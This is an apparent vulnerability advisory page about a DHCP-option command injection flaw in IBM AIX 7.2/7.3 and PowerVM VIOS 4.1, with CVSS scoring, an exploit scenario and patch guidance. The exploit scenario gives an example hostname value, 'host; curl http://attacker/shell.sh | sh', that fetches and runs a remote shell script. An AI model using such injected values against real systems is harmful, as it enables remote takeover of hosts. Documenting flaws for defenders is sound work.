EUVD-2026-62742
GHSA-77f7-4rr4-gqj6
Severity by source
AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
DHCP is an adjacent-network, unauthenticated protocol; shell metacharacter injection via options yields full system impact with no user interaction.
Primary rating from Vendor (ibm).
CVSS VectorNVD
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionNVD
IBM AIX 7.2, and 7.3 and IBM PowerVM VIOS 4.1 could allow a remote attacker to execute arbitrary commands due to improper neutralization of shell metacharacters in DHCP options.
AnalysisAI
Arbitrary command execution against IBM AIX 7.2, 7.3 and PowerVM VIOS 4.1 is possible by an unauthenticated attacker on the same network segment who can deliver DHCP option values containing unescaped shell metacharacters to the system's DHCP client. The DHCP client fails to neutralize these metacharacters before passing option data to shell processing (CWE-78), enabling full confidentiality, integrity, and availability compromise of the target host. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must be positioned on the same Layer 2 broadcast domain - the same VLAN or physical network segment - as the target IBM AIX or PowerVM VIOS host, consistent with the AV:A (Adjacent Network) CVSS metric. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 8.8 base score is well-supported by the vector: adjacent-network access with no authentication required, no user interaction, and full impact across confidentiality, integrity, and availability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker who has obtained access to the same Layer 2 network segment as an IBM AIX or PowerVM VIOS host - for example, via a compromised internal workstation or a connected rogue device - operates a malicious DHCP server crafted to respond to DHCP DISCOVER or REQUEST broadcasts faster than the legitimate server, embedding shell metacharacters in standard option fields such as the hostname or domain-name option (e.g., value set to 'host; curl http://attacker/shell.sh | sh'). When the AIX DHCP client processes this response, the unsanitized metacharacter sequence causes the embedded command to execute within the DHCP client process context, yielding arbitrary command execution on the target host. … |
| Remediation | The primary remediation is applying the vendor-released patch documented in the IBM support advisory at https://www.ibm.com/support/pages/node/7283858; administrators should identify the appropriate fix pack or interim fix for their specific AIX 7.2, AIX 7.3, or PowerVM VIOS 4.1 maintenance level and apply it promptly. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, conduct a network inventory to identify all IBM AIX 7.2, 7.3, and PowerVM VIOS 4.1 systems and isolate those from untrusted network segments where feasible pending patch deployment. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Multiple unspecified vulnerabilities in the InfiniBand subsystem in IBM AIX 6.1 and 7.1, and VIOS 2.2.2.2-FP-26 SP-02, a
IBM AIX 7.1, 7.2, 7.3, and VIOS 3.1 could allow a non-privileged local user to exploit a vulnerability in the invscout c
IBM AIX contains an unspecified vulnerability that would allow a locally authenticated user to obtain root level privile
IBM AIX 5.3, 6.1, 7.1, and 7.2 contains an unspecified vulnerability that would allow a locally authenticated user to ob
IBM AIX 6.1, 7.1, and 7.2 could allow a local user to gain root privileges using a specially crafted command within the
lquerylv in cmdlvm in IBM AIX 5.3, 6.1, and 7.1 and VIOS 2.2.x allows local users to gain privileges via a crafted DBGCM
libodm.a in IBM AIX 5.3, 6.1, and 7.1 allows local users to overwrite arbitrary files via a symlink attack on a temporar
libodm.a in IBM AIX 6.1 and 7.1, and VIOS 2.2.x, allows local users to overwrite arbitrary files via a symlink attack on
IBM AIX 7.2 and 7.3 nimesis NIM master service could allow a remote attacker to execute arbitrary commands due to improp
OS command injection in IBM AIX 7.2 and 7.3 and in IBM PowerVM VIOS 4.1 lets a remote, authenticated attacker execute ar
OS command injection in IBM AIX 7.2/7.3 and PowerVM VIOS 4.1 lets a remote authenticated attacker run arbitrary commands
Remote code execution in IBM AIX 7.2 and 7.3 and IBM PowerVM VIOS 4.1 allows an unauthenticated remote attacker to run a
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today